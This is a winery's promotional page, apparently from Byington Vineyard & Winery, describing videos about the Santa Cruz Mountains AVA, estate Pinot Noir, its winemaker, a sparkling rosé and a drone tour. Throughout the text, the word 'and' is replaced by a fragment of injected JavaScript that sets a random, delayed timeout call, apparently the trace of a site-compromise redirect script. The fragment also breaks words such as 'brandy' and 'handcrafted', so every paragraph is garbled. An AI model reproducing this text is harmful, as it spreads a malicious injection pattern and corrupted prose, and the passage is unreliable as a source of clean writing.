What Makes Our AVA So Special?

The Santa Cruz Mountains AVA – The Santa Cruz Mountains American Viticultural Area (AVA) is one of the oldest wine growing regions in California, designated at the same time as Napa dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Sonoma. It has long been praised for its Pinot Noir in particular, but what makes this tiny region so mighty? Why is it so special dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and sought after? Join Byington Sommelier Vince Robledo as he dives into the AVA dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and answers these questions!
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Our Award-Winning Pinot Noir – Byington Vineyard & Winery has had a long history of producing award-winning Pinot Noir, but how is this amazing wine quality achieved year after year? Certified Sommelier Vince Robledo dives into the Santa Cruz Mountains AVA, the Byington Estate Vineyard, dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a bottle of 2017 Byington Pinot Noir to uncork the secrets!
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Meet Our Winemaker

In the Vineyard with Our Winemaker (March 2021) – Phil Mohseni takes us into the vineyard at Byington Estate in the Santa Cruz Mountains. The 2021 Vintage of our award-winning Pinot Noir is just about to bud, dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and our Winemaker updates us on whats happening as we prepare for this year’s fruit!
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Sparkling Rosé from the Santa Cruz Mountains – This Sparkling Rosé is a Byington “triple” Pinot Noir made entirely from our Estate-grown Pinot. It starts with our early-harvest Pinot grapes to create the rosé. We then add Pinot port, which includes our Pinot-based brdom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andy for the dosage, adding a whisper of sweetness to this dry sparkling wine. Crafted by Methode Champenoise, dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and given extended time on the lees, a flurry of tiny bubbles carry flavors of cherry, strawberry, dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and peach into a creamy finish. Enjoy this festive wine with a variety of cuisine. A perfect pairing for any celebration!
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Byington Drone Video from Above – Byington sits on 95 mountainous acres surrounded by redwood forests with a view to the Monterey Bay. Byington produces award-winning Pinot Noir, Cabernet Sauvignon, dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Chardonnay wines dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and other exciting varietals that highlight the diversity of Northern California. You are looking at 9 acres of Pinot Noir grapes just before Harvest 2017. Solar powered production. The winery is focused on growing dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and producing premium wines, farmed sustainably using biodynamic growing methods. The wines are hdom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andcrafted with focus on natural fermentation methods from hdom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andpicked grapes.
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